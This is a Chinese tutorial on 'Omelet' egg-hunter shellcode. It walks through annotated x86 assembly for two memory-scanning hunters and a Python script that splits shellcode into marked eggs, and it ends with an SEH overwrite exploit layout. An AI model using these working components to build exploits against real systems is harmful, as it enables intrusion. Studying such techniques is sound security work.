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原文链接:https://www.52pojie.cn/thread-84830-1-1.html
作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。
原理分析
将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:
- reset_stack:
- ; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
- XOR EAX, EAX ; EAX = 0,并作为计数器
- MOV ECX, [FS:EAX] ; ECX = SEH结构链表
- find_last_SEH_loop:
- MOV ESP, ECX ; ESP = SEH结构
- POP ECX ; ECX = 下一个SEH结构指针
- CMP ECX, 0xFFFFFFFF ; 判断是否是最后一个SEH结构
- JNE find_last_SEH_loop ; 不是则跳走并继续查找
- POP EDX ; 最后一个SEH结构中的异常处理例程handler
- CALL create_SEH_handler ; 自定义SEH handler
- SEH_handler:
- POPA ; ESI = [ESP + 4] -> struct exception_info
- LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address
- POP EAX ; EAX = exception address 0x????????
- OR AX, 0xFFF ; EAX = 0x?????FFF
- INC EAX ; EAX = 0x?????FFF + 1 -> next page
- JS done ; EAX > 0x7FFFFFFF ===> done
- XCHG EAX, EDI ; EDI => next page
- JMP reset_stack
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当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。对应的代码如下所示:
- create_SEH_handler:
- PUSH ECX ; 指向下一个SEH结构,这里为0xFFFFFFFF
- MOV [FS:EAX], ESP ; 设置当前的SEH为自定义的SEH_handler
- CLD ; 清除方向标志位DF,从0开始扫描内存
- scan_loop:
- MOV AL, egg_size ; EAX = egg_size
- egg_size_location equ $-1 - $
- REPNE SCASB ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
- PUSH EAX ; 找到后保存egg_size
- MOV ESI, EDI ; ESI = 相匹配内存块的地址
- LODSD ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
- XOR EAX, (marker << 8) + 0xFF ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
- marker_bytes_location equ $-3 - $
- CMP EAX, BYTE max_index ; 检测EAX值是否小于 max_index
- max_index_location equ $-1 - $
- JA reset_stack ; 不是则跳走并继续搜索内存
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找到egg内存块后,将内存块大小egg_size与索引值egg_index相乘可得到该内存块在原始shellcode中的偏移egg_offset,然后将它再加上存放shellcode的栈空间起始地址,最后得到绝对地址,并将该egg内存块复制到绝对地址上,直至所有的egg内存块全部复制到栈上,进而在栈上重构出完整的shellcode。其对应代码如下:
- POP ECX ; ECX = egg_size
- IMUL ECX ; EAX = egg_size * egg_index == egg_offset
- ; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
- ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode.
- XCHG EAX, EDI
- copy_loop:
- REP MOVSB ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
- MOV EDI, ESI ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
- ; 以此类推,直至所有的内存块全部搜索到并复制到栈上
- 最后就是跳到栈底去执行重构后的shellcode:
- done:
- XOR EAX, EAX ; EAX = 0
- CALL [BYTE FS:EAX + 8] ; 从栈中shellcode的起始地址开始执行
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这样就完成了对各段egg内存块的搜索,并重构出完整shellcode来执行。
注意:由于此份代码只搜索0x00000000~0x80000000之间的用户内存空间,因此对于开启/3Gb(0x00000000~0xC000000)开关的系统并不适用,若应用在这样的系统上就可能会导致部分egg内存块未搜索到,以致无法正确地执行shellcode。
在2010年8月,由Exploit编写系列教程的作者Peter Van Eeckhoutte编写的egg-to-omelet hunter程序在其博客上公布了(详细源码参见附件),此份程序对原先由SkyLined编写的omelet hunter进行了改进,提高其成功率和稳定性。此份程序先从当前栈桢的末尾 (0x....ffff) 开始搜索,为了避免出现NULL字节,又让egg内存块数量nr_egg加1,因此我们还可以让它与1相比较,然后去搜索保存在eax中的内存块标记tag,此标记类似这样:
这里seq = 1 + number_of_remaining_eggs_to_find + 1,比如你有3个egg内存块,那么各块egg对应的tag分别为 :
- Egg 1 : 77 30 30 05
- Egg 2 : 77 30 30 04
- Egg 3 : 77 30 30 03
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在搜索过程中,它通过调用NtAccessCheckAndAuditAlarm来判断是否出现访问违例,出错则重新搜索,否则就继续寻找各内存块标记tag,找到后通过rep movsb指令将其复制到edi指向的地址中,进而重组原始shellcode并进行执行。具体源码分析如下:
- BITS 32
- nr_eggs equ 0x2 ; egg内存块的数量
- egg_size equ 0x7b ; 每一egg内存块占127字节
- jmp short start
- get_target_loc:
-
- push esp
- pop edi ; 将栈顶指针esp保存在edi中
-
- or di,0xffff ; edi=0x....ffff,即当前栈桢的末尾
- mov edx,edi ; edx=搜索的起始地址
- xor eax,eax ; eax清零
- mov al,nr_eggs ; eax = 内存块数量
- calc_target_loc:
- xor esi,esi ; esi=0,作为计数器
- mov si,0-(egg_size+20) ; 为每一块egg内存块添加20字节的额外空间
- get_target_loc_loop:
- dec edi ; 往回遍历搜索当前栈桢
- inc esi ; 递增计数器
- cmp si,-1 ; 继续往回遍历直到ESI = -1
- jnz get_target_loc_loop
- dec eax ; 若未找到所有的内存块则跳走并继续循环,
- jnz calc_target_loc ; 否则edi就指向了重组shellcode将保存的地址
- xor ebx,ebx ; ebx清零,作为计数器
- mov bl,nr_eggs+1 ; ebx = nr_eggs + 1,但为了避免出现NULL字节,
- ; 因此这里从1开始计数
- ret
- start:
- call get_target_loc ; 计算出重组shellcode将保存的栈地址
- jmp short search_next_address
- find_egg:
- dec edx ; 由于下面搜索是以DWORD(4字节)为单位进行字节扫描的
- dec edx ; 因此这里需要edx-4
- dec edx
- dec edx
- search_next_address:
- inc edx ; 搜索下一字节
- push edx ; 保存edx
- push byte +0x02
- pop eax ; eax = 0x02,功能号,系统调用表可参考下列网址:
- ; http://www.metasploit.com/users/opcode/syscalls.html
- int 0x2e ; 调用NtAccessCheckAndAuditAlarm
- cmp al,0x5 ; 判断是否访问违例(0xc0000005== ACCESS_VIOLATION)
- pop edx ; 重储edx
- je search_next_address ; 如果地址不可读则跳走
- mov eax,0x77303001 ; 若可读则将索引值与标记值赋予eax
- add eax,ebx ; eax += ebx,这里ebx为egg内存块的计数器,
- ; 此时eax得到的就是各个内存块开头的标记marker,
- ; tag=773030<seq>,其中seq = 0x1 + number_of_remaining_eggs_to_find + 0x1,
- ; 比如0x77303003,0x77303004……
-
- xchg edi,edx ; 交换edi与edx的值
- scasd ; 搜索edi中是否存在eax中的标记
- xchg edi,edx ; 将edi/edx的值再交换回来
- jnz find_egg ; 若未找到相匹配的标记则跳走,否则edx指向找到的egg内存块
- copy_egg:
- mov esi,edx ; ESI = EDX,保存egg内存块地址到esi留作后用
- xor ecx,ecx ; ecx = 0
- mov cl,egg_size ; 复制的字节数,相当于每一egg内存块大小
- rep movsb ; 从esi复制到edi
- dec ebx ; 递增ebx,ebx为内存块计数器
- cmp bl,1 ; 判断是否找到所有的egg内存块
- jnz find_egg ; 没有则继续搜索
- done:
- call get_target_loc ; 重新定位重组后shellcode所在的地址
- jmp edi ; 执行shellcode
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以上分析的两份程序均是对各egg内存块进行搜索的egg-to-omelet hunter程序,SkyLined还提供了另一份代码用于将shellcode进行分段,构造出各段egg内存块数据,其文件名为w32_SEH_omelet.py,是用Python编写的。它主要是遵循SkyLined在w32_SEH_omelet.asm代码中所提到的算法进行计算,以获取各块egg中的字节大小size,索引值index,标记值marker(默认为0x280876),以及各egg中的部分shellcode代码,每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充。其核心代码如下:
- def Main(my_name, bin_file, shellcode_file, output_file, egg_size = '0x7F', marker_bytes = '0x280876'):
- if (marker_bytes.startswith('0x')): # 判断标记marker_bytes是否以0x开头
- marker_bytes = int(marker_bytes[2:], 16) # 以16为基数(十六进制)进行整数转换
- else:
- marker_bytes = int(marker_bytes) # 以10为基数(十进制)进行整数转换
- if (egg_size.startswith('0x')):
- egg_size = int(egg_size[2:], 16)
- else:
- egg_size = int(egg_size)
- assert marker_bytes <= 0xFFFFFF, 'Marker must fit into 3 bytes.'
- assert egg_size >= 6, 'Eggs cannot be less than 6 bytes.'
- assert egg_size <= 0x7F, 'Eggs cannot be more than 0x7F (127) bytes.'
-
- bin = open(bin_file).read() # 读取bin_file文件,即负责搜索egg的bin文件
- marker_bytes_location = ord(bin[-3]) # 标记值marker
- max_index_location = ord(bin[-2]) # 索引值index
- egg_size_location = ord(bin[-1]) # 各egg内存块所占的字节数
- code = bin[:-3] # 用于存放分段后的部分shellcode代码
- shellcode = open(shellcode_file).read()
-
- max_index = int(math.ceil(len(shellcode) / (egg_size - 5.0))) # 计算出每块egg的最大索引值,并要求其必须<=0xFF
- assert max_index <= 0xFF, ('The shellcode would require %X (%d) eggs of %X '
- '(%d) bytes, but 0xFF (255) is the maximum number of eggs.') % (
- max_index, max_index, egg_size, egg_size)
-
- marker_bytes_string = ''
- for i in range(0,3):
- marker_bytes_string += chr(marker_bytes & 0xFF) # 将标记值与0xFF进行与运算
- marker_bytes >>= 8 # 右移8位,相当于将标记值转换成0x280876ff
- max_index_string = chr(max_index)
- egg_size_string = chr(egg_size - 5) # 扣去字节大小(1字节),索引值(1字节)和标记(3字节)所占用的5字节
- # insert variables into code
- code = code[:marker_bytes_location] + marker_bytes_string + code[marker_bytes_location+3:]
- code = code[:max_index_location] + max_index_string + code[max_index_location+1:]
- code = code[:egg_size_location] + egg_size_string + code[egg_size_location+1:]
- output = [
- '// This is the binary code that needs to be executed to find the eggs, ',
- '// recombine the orignal shellcode and execute it. It is %d bytes:' % (
- len(code),),
- 'omelet_code = "%s";' % HexEncode(code),
- '',
- '// These are the eggs that need to be injected into the target process ',
- '// for the omelet shellcode to be able to recreate the original shellcode',
- '// (you can insert them as many times as you want, as long as each one is',
- '// inserted at least once). They are %d bytes each:' % (egg_size,) ]
- egg_index = 0
- while shellcode:
- egg = egg_size_string + chr(egg_index ^ 0xFF) + marker_bytes_string
- egg += shellcode[:egg_size - 5] # 构造出完整的egg内存块:size + index + marker + shellcode
- if len(egg) < egg_size:
- # tail end of shellcode is smaller than an egg: add pagging:
- egg += '@' * (egg_size - len(egg)) # 每块egg的大小是固定的(默认为127字节),不足的用'@'(0x40)填充
- output.append('egg%d = "%s";' % (egg_index, HexEncode(egg)))
- shellcode = shellcode[egg_size - 5:]
- egg_index += 1
- open(output_file, 'w').write('\n'.join(output)) # 写入输出文件output_file
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使用方法
关于使用方法,其实很简单,使用命令如下:
- C:\Users\riusksk> w32_SEH_omelet.py w32_SEH_omelet.bin shellcode.bin output.txt 127 0xBADA55
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它需要先生成两个bin文件,一个是shellcode.bin,还有一个用于egg搜索的w32_SEH_omelet.bin,这里用Peter Van Eeckhoutte编写的egg-to-omelet hunter程序来生成bin文件以代替w32_SEH_omelet.bin也是可以的。关于shellcode.bin,你可以先用metasploit先生成shellcode,然后用perl/python将shellcode写入一个bin文件即可;而w32_SEH_omelet.bin可直接用nasm去编译SkyLined的w32_SEH_omelet.asm或者Peter Van Eeckhoutte写的corelanc0d3r_omelet.asm从而得到此bin文件。Output.txt是输出文件,用来保存生成各个egg以及omelet代码,后面的127是每一块egg内存块的字节数,而0xBADA55是标记值,你也可采用其它3字节数据,比如w00(0x773030),最后生成的输出文件内容类似如下:
- // This is the binary code that needs to be executed to find the eggs,
- // recombine the orignal shellcode and execute it. It is 82 bytes:
- omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";
-
- // These are the eggs that need to be injected into the target process
- // for the omelet shellcode to be able to recreate the original shellcode
- // (you can insert them as many times as you want, as long as each one is
- // inserted at least once). They are 127 bytes each:
- egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
- egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
- egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
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生成文件后我们就可以在实际漏洞利用中构造出类似下面这样的exploit:
【junk】【nseh(jmp 06)】【seh(pop pop ret)】【nops】【omelet_code】【junk】【egg0】【junk】【egg1】【junk】【egg2】
不过具体的实际漏洞利用还得受一些操作环境影响,得视具体情况进行变化,同时还需要一点运气!
结语
本文就Omelet Shellcode进行简单地分析,阐述了shellcode分段执行技术的基本原理,并对其使用进行简单的讲解,以帮助大家更好地理解并应用好Omelet Shellcode。在本文是笔者只是起到了一个抛砖引玉的作用,关于shellcode的编写还有很多技术性,同时也需要一定的艺术性,这些都需要靠大家共同来打造和分享,如果你有更多关于这方面的资料和技术,希望可以跟我分享。
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